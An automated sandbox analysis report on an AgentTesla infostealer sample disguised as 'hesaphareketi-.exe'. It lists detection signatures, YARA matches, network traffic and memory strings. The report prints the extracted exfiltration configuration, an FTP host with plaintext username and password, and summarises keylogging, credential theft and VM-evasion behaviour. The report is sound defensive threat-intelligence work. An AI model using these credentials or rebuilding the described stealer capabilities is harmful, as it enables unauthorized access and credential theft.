Edit tour

Windows Analysis Report
hesaphareketi-.exe

Overview

General Information

Sample name:	hesaphareketi-.exe
Analysis ID:	1446733
MD5:	6ee05d4dd363d273ce38c497b1238db1
SHA1:	7c4f86c5edfe9cf5d1955c4af44cd8d0a25a0f0a
SHA256:	1a88cd1b38768b690166ed6a6647ca7e975a68b7112c0e938cdfaaea8d509c9e
Tags:	AgentTeslaexegeoTUR
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains potential unpacker

.NET source code contains very large strings

AI detected suspicious sample

Connects to many ports of the same IP (likely port scanning)

Contains functionality to log keystrokes (.Net Source)

Contains functionality to register a low level keyboard hook

Installs a global keyboard hook

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses FTP

Uses a known web browser user agent for HTTP communication

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

hesaphareketi-.exe (PID: 6832 cmdline: "C:\Users\user\Desktop\hesaphareketi-.exe" MD5: 6EE05D4DD363D273CE38C497B1238DB1)

hesaphareketi-.exe (PID: 3496 cmdline: "C:\Users\user\Desktop\hesaphareketi-.exe" MD5: 6EE05D4DD363D273CE38C497B1238DB1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.normagroup.com.tr", "Username": "admin@normagroup.com.tr", "Password": "Qb.X[.j.Yfm["}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1763207948.0000000003879000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1763207948.0000000003879000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000002.4189629111.0000000002BB9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000002.4188331044.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.4188331044.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000002.00000002.4189629111.0000000002B91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.4189629111.0000000002B91000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1763207948.0000000003AE6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1763207948.0000000003AE6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: hesaphareketi-.exe PID: 6832	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: hesaphareketi-.exe PID: 6832	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: hesaphareketi-.exe PID: 6832	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: hesaphareketi-.exe PID: 3496	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: hesaphareketi-.exe PID: 3496	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.hesaphareketi-.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.hesaphareketi-.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
2.2.hesaphareketi-.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33099:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3310b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33195:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33227:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33291:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33303:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33399:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33429:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
2.2.hesaphareketi-.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x304e6:$s2: GetPrivateProfileString 0x2fbf5:$s3: get_OSFullName 0x3125a:$s5: remove_Key 0x313d3:$s5: remove_Key 0x322c2:$s6: FtpWebRequest 0x3307b:$s7: logins 0x335ed:$s7: logins 0x362d0:$s7: logins 0x363b0:$s7: logins 0x37cae:$s7: logins 0x36f4a:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.hesaphareketi-.exe.3b6d660.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.hesaphareketi-.exe.3b6d660.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.hesaphareketi-.exe.3b6d660.4.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31299:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3130b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31395:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31427:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31491:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31503:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31599:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31629:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.hesaphareketi-.exe.3b6d660.4.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2e6e6:$s2: GetPrivateProfileString 0x2ddf5:$s3: get_OSFullName 0x2f45a:$s5: remove_Key 0x2f5d3:$s5: remove_Key 0x304c2:$s6: FtpWebRequest 0x3127b:$s7: logins 0x317ed:$s7: logins 0x344d0:$s7: logins 0x345b0:$s7: logins 0x35eae:$s7: logins 0x3514a:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.hesaphareketi-.exe.38c34e0.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.hesaphareketi-.exe.38c34e0.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.hesaphareketi-.exe.38c34e0.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x31299:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3130b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x31395:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31427:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x31491:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31503:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x31599:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31629:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.hesaphareketi-.exe.38c34e0.3.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2e6e6:$s2: GetPrivateProfileString 0x2ddf5:$s3: get_OSFullName 0x2f45a:$s5: remove_Key 0x2f5d3:$s5: remove_Key 0x304c2:$s6: FtpWebRequest 0x3127b:$s7: logins 0x317ed:$s7: logins 0x344d0:$s7: logins 0x345b0:$s7: logins 0x35eae:$s7: logins 0x3514a:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33099:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3310b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33195:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33227:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33291:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33303:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33399:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33429:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x304e6:$s2: GetPrivateProfileString 0x2fbf5:$s3: get_OSFullName 0x3125a:$s5: remove_Key 0x313d3:$s5: remove_Key 0x322c2:$s6: FtpWebRequest 0x3307b:$s7: logins 0x335ed:$s7: logins 0x362d0:$s7: logins 0x363b0:$s7: logins 0x37cae:$s7: logins 0x36f4a:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.hesaphareketi-.exe.3b6d660.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.hesaphareketi-.exe.3b6d660.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.hesaphareketi-.exe.3b6d660.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.hesaphareketi-.exe.3b6d660.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33099:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6d4b9:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3310b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6d52b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33195:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6d5b5:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33227:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6d647:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33291:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6d6b1:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33303:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6d723:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33399:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6d7b9:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33429:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6d849:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.hesaphareketi-.exe.3b6d660.4.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x304e6:$s2: GetPrivateProfileString 0x6a906:$s2: GetPrivateProfileString 0x2fbf5:$s3: get_OSFullName 0x6a015:$s3: get_OSFullName 0x3125a:$s5: remove_Key 0x313d3:$s5: remove_Key 0x6b67a:$s5: remove_Key 0x6b7f3:$s5: remove_Key 0x322c2:$s6: FtpWebRequest 0x6c6e2:$s6: FtpWebRequest 0x3307b:$s7: logins 0x335ed:$s7: logins 0x362d0:$s7: logins 0x363b0:$s7: logins 0x37cae:$s7: logins 0x6d49b:$s7: logins 0x6da0d:$s7: logins 0x706f0:$s7: logins 0x707d0:$s7: logins 0x720ce:$s7: logins 0x36f4a:$s9: 1.85 (Hash, version 2, native byte-order)
Click to see the 16 entries

FTP traffic detected: 104.247.165.99:21 -> 192.168.2.4:49753 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 5 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 5 of 50 allowed.220-Local time is now 21:28. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 5 of 50 allowed.220-Local time is now 21:28. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 5 of 50 allowed.220-Local time is now 21:28. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 5 of 50 allowed.220-Local time is now 21:28. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ftp.normagroup.com.tr

Source: hesaphareketi-.exe, 00000002.00000002.4189629111.0000000002E48000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000002.00000002.4189629111.0000000002DED000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000002.00000002.4189629111.0000000002BCF000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000002.00000002.4189629111.0000000002EC3000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000002.00000002.4189629111.0000000002BB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ftp.normagroup.com.tr
Source: hesaphareketi-.exe, 00000002.00000002.4189629111.0000000002B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: hesaphareketi-.exe	String found in binary or memory: http://tempuri.org/DataSet1.xsd#tableLayoutPanel1
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: hesaphareketi-.exe, 00000000.00000002.1765665168.0000000005880000.00000004.00000020.00020000.00000000.sdmp, hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: hesaphareketi-.exe, 00000000.00000002.1763207948.0000000003879000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000000.00000002.1763207948.0000000003AE6000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000002.00000002.4188331044.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: hesaphareketi-.exe, 00000000.00000002.1763207948.0000000003879000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000000.00000002.1763207948.0000000003AE6000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000002.00000002.4189629111.0000000002B41000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000002.00000002.4188331044.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: hesaphareketi-.exe, 00000002.00000002.4189629111.0000000002B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: hesaphareketi-.exe, 00000002.00000002.4189629111.0000000002B41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: hesaphareketi-.exe	String found in binary or memory: https://github.com/romenrg/genetic-startups

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443

Source: unknown

HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.4:49732 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack, gmBpn1ecBmQ.cs	.Net Code: GcrDSu6Vtcl
Source: 0.2.hesaphareketi-.exe.3b6d660.4.raw.unpack, gmBpn1ecBmQ.cs	.Net Code: GcrDSu6Vtcl

Contains functionality to register a low level keyboard hook

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Code function: 2_2_067F8FC8 SetWindowsHookExA 0000000D,00000000,?,?,?,?,?,?,?,?,?,067F95F0,00000000,00000000

2_2_067F8FC8

Installs a global keyboard hook

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\hesaphareketi-.exe

Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.hesaphareketi-.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 2.2.hesaphareketi-.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.hesaphareketi-.exe.3b6d660.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.hesaphareketi-.exe.3b6d660.4.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.hesaphareketi-.exe.38c34e0.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.hesaphareketi-.exe.38c34e0.3.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.hesaphareketi-.exe.3b6d660.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.hesaphareketi-.exe.3b6d660.4.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen

.NET source code contains very large strings

Source: hesaphareketi-.exe, MainForm.cs

Long String: Length: 150953

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 0_2_0275DAEC	0_2_0275DAEC
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_029FE590	2_2_029FE590
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_029FAA98	2_2_029FAA98
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_029F4A58	2_2_029F4A58
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_029F3E40	2_2_029F3E40
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_029FDD18	2_2_029FDD18
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_029F4188	2_2_029F4188
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_029FAA93	2_2_029FAA93
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_067F0274	2_2_067F0274
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_067FE3E8	2_2_067FE3E8
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_067F24F7	2_2_067F24F7
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_067F1808	2_2_067F1808
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_067F1803	2_2_067F1803
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_06805590	2_2_06805590
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_068065D8	2_2_068065D8
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_0680B218	2_2_0680B218
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_06802358	2_2_06802358
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_0680C178	2_2_0680C178
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_06807D68	2_2_06807D68
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_06807688	2_2_06807688
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_0680E390	2_2_0680E390
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_068083B0	2_2_068083B0
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_06800040	2_2_06800040
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_06805CD8	2_2_06805CD8
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_06800007	2_2_06800007
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Code function: 2_2_06800537	2_2_06800537

Source: hesaphareketi-.exe, 00000000.00000002.1762669027.00000000028B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename114326d3-9409-41d5-a856-433d8726b4f2.exe4 vs hesaphareketi-.exe
Source: hesaphareketi-.exe, 00000000.00000002.1765463255.0000000005250000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameSimpleLogin.dll8 vs hesaphareketi-.exe
Source: hesaphareketi-.exe, 00000000.00000002.1763207948.0000000003879000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename114326d3-9409-41d5-a856-433d8726b4f2.exe4 vs hesaphareketi-.exe
Source: hesaphareketi-.exe, 00000000.00000002.1763207948.0000000003AE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename114326d3-9409-41d5-a856-433d8726b4f2.exe4 vs hesaphareketi-.exe
Source: hesaphareketi-.exe, 00000000.00000002.1763207948.0000000003AE6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs hesaphareketi-.exe
Source: hesaphareketi-.exe, 00000000.00000000.1733738489.0000000000528000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamewfrb.exeN vs hesaphareketi-.exe
Source: hesaphareketi-.exe, 00000000.00000002.1766847259.00000000071E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs hesaphareketi-.exe
Source: hesaphareketi-.exe, 00000000.00000002.1760958903.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs hesaphareketi-.exe
